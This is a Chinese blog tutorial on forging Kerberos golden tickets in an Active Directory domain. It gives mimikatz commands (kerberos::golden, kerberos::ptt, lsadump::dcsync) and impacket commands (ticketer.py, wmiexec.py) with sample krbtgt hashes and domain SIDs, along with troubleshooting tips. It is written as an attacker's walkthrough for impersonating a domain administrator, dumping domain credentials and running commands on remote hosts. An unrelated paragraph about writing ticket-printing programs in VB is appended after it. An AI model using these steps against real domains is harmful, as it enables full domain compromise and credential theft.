黄金票据的制作与使用

原理

黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。
所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。
kerberos协议原理请参考:NTML认证与kerberos认证与PAC相关知识

前置条件与操作步骤

前置条件

1.krbtgt的hash
2.本地管理员权限
3.域的sid(普通用户的sid除去最后三位就是域的sid)
4.域内任意用户的本地管理员权限

操作步骤

清空已有票据

kerberos::purge

制作黄金票据

kerberos::golden/user:Administrator/domain:test.com/sid:S-1-5-21-4166986646-4168497534-2490551922 /krbtgt:308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi

加载黄金票据

kerberos::ptt 1.kirbi

检测成果

lsadump::dcsync /domain:test.com /user:krbtgt

实现

使用mimikatz实现

mimikatz下载地址
假设我们已经通过某种方式获得了域控的krbtgt的hash为d8d2ad72a119a8d418703f7a16580af6。

1.开启一个管理员权限的cmd窗口

在这里插入图片描述

2.使用mimikatz
第一步:提权&清空票据

klist purge #在cmd中执行
在这里插入图片描述

privilege::Debug
kerberos::purge
kerberos::list
在这里插入图片描述

第二步:制作黄金票据

获得域sid:S-1-5-21-3763276348-88739081-2848684050-1110
在这里插入图片描述
执行命令:
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi
在这里插入图片描述

执行结束后,会在运行目录生成一个1.kirbi的文件。
在这里插入图片描述

第三步:使用黄金票据

这时候我们先看看能不能使用dcsync命令,这个命令是只有域控权限才能使用的,作用是导出域内所有用户的账号密码。当然结果肯定是失败的:
在这里插入图片描述
因为我们并没有域控的“身份证”也就是tgt。

这时候我们将刚制作好的伪造的tgt导入系统并进行测试:
kerberos::ptt 1.kirbi
lsadump::dcsync /domain:test.com /user:krbtgt
在这里插入图片描述

遇到的一些坑

做完票据后执行lsadump::dcsync /domain:test.com /user:krbtgt会报错。后来研究了很久才发现,只要稍等几分钟然后测试执行那个命令就会成功,或者退出mimikatz再进去就可以成功,原理我也不知道。

这种票据只会存在管理员权限的命令行窗口中,如果这时候换一个命令行窗口执行,就会发现没有这个凭证。
在这里插入图片描述

利用impacket实现

原理跟利用mimikatz一样,只是利用的工具不一样而已。

实现
第一步:打开管理员权限的命令行窗口并清空票据

在这里插入图片描述

第二步:制作ccache文件

python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain test.com administrator

第三步:更改环境变量

set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache

第四步:验证成果

python wmiexec.py test.com/administrator@yukong -k -no-pass
在这里插入图片描述

总结

利用impacket来进行票据的制作有一定的局限性,制作完票据后在klist命令下是看不到缓存的。也没办法使用net use \\ip\admin$ 来建立管道连接。但可以使用其自带的工具在在一定的命令格式下进行远控指定主机。命令格式为:

xxxx.py domain/username@hostname -k -no-pass

这里的domain必须跟systeminfo中的domain的值一样。
hostname 可以通过net view命令,或者nbtstat -A ip,或者ping -a ip来确定,推荐ping -a命令。
在这里插入图片描述

因为test为域名,所以yukong就为主机名。

FQDN是什么?
FQDN是完全合格域名/全程域名缩写,Fully Qualified Domain Name,即是域名,访问时将由DNS进行解析,得到IP。FQDN = Hostname + DomainName,举个例子,一个公司申请了域名comp.com,这时候有一台主机名为web,则可以使用web.comp.com得到这个主机IP。若还有两台提供邮件和OA服务的主机cmail,oa,则这时候可以用以下FQDN:
cmail.comp.com
oa.comp.com

impacket的更多用法请看下面这篇文章:
impacket的使用总结


补充问题:

  1. 黄金票据制作好后复制到域内另一台机器上使用,或者直接使用域控的tgt票据在另一台机器上使用,另一台机器没有这张票据中的session key,无法证明这张票据属于自己,为什么还能利用票据拿到域管理员权限呢?

    其实黄金票据制作好后同时也会将session key保存在机器中,如果我们使用mimikatz将票据导出的话,导出的文件中含有的其实是tgt与session key。

  • 11
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
VB是一种流行的编程语言,可以用来制作打印票据程序。下面是一个简单的示例程序: 1. 首先,需要创建一个新的VB项目。打开Visual Studio,选择新建项目,选择Visual Basic,然后选择Windows桌面应用程序。 2. 在新建的项目中,打开窗体设计器。在窗体上添加所需的控件,例如按钮、文本框和标签。 3. 在窗体的代码视图中,编写代码来处理打印操作。首先,需要导入命名空间PrintDocument和PrintPreviewDialog。然后,创建一个PrintDocument和PrintPreviewDialog的实例。 4. 在按钮的点击事件中,添加代码以设置打印操作的设置,例如页面大小和边距。可以使用PrintDocument的PrinterSettings属性来实现。 5. 接下来,可以使用PrintDocument的PrintPage事件来定义打印内容和样式。可以使用Graphics对象提供的方法和属性来绘制文本、图像和其他元素。 6. 最后,可以使用PrintPreviewDialog的ShowDialog方法来显示打印预览对话框,并使用PrintDocument的Print方法来实际执行打印操作。 通过以上步骤,就可以创建一个简单的打印票据程序。当用户点击按钮时,程序将显示打印预览对话框,并在打印时根据所定义的设置和内容打印票据。 当然,这只是一个简单的示例程序,实际中可能会有更复杂的需求,例如打印多页票据、添加页眉和页脚等。但是,使用VB编程非常灵活,可以根据具体需求进行扩展和修改。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值